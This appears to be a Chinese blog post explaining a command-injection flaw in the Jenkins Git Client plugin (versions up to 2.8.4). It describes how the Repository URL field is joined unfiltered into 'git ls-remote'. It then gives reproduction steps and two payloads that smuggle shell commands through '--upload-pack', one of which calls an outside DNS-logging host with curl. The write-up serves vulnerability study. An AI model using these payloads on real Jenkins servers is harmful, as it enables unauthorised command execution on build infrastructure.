赞
踩
Jenkins是一个独立的开源自动化服务器,由JAVA开发。
可用于自动化各种任务,如构建,测试和部署软件;也可以根据设定持续定期编译,运行相应代码;运行UT或集成测试;将运行结果发送至邮件,或展示成报告等。
Jenkins可以通过本机系统包Docker安装,也可以通过安装Java Runtime Environment的任何机器独立运行。
在很多中大型金融企业中普遍使用Jenkins来作为项目发布工具。
Jenkins特点:
开源免费,多平台支持(windows/linux/macos);
主从分布式架构;
提供web可视化配置管理页面;
安装配置简单、插件资源丰富.
Git Client插件为Jenkins插件提供了git应用程序编程接口(API)。 它可以获取,签出,分支,列表,合并和标记存储库。Git Client接口提供git访问的主要入口点,它支持Jenkins凭据插件提供的用户名/密码凭据和私钥凭证。
该漏洞源于Git客户端插件接受用户指定的值作为调用git ls-remote
的参数,以验证指定URL处是否存在Git存储库。 这是以允许具有Job/Configure
权限的攻击者在Jenkins主服务器上执行任意系统命令作为Jenkins进程正在运行的OS用户的方式实现的。由于接收用户输入Repository URL
而没有做过滤,导致了与git ls-remote
命令拼接,执行了用户可控的命令。
影响版本
Git client Plugin <= 2.8.4
登录后,创建一个新任务。构造一个自由风格的项目,然后点击确认提交。
在源码管理处选择git,然后在Repositories功能的Repository URL插入我们payload,将要执行的命令包含在upload-pack选项中。
--upload-pack=`id` //反引号
--upload-pack=`curl 4y6heb.dnslog.cn`
参考链接:
https://mp.weixin.qq.com/s/Axx7KYm9irAQv7ZIO8autg
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。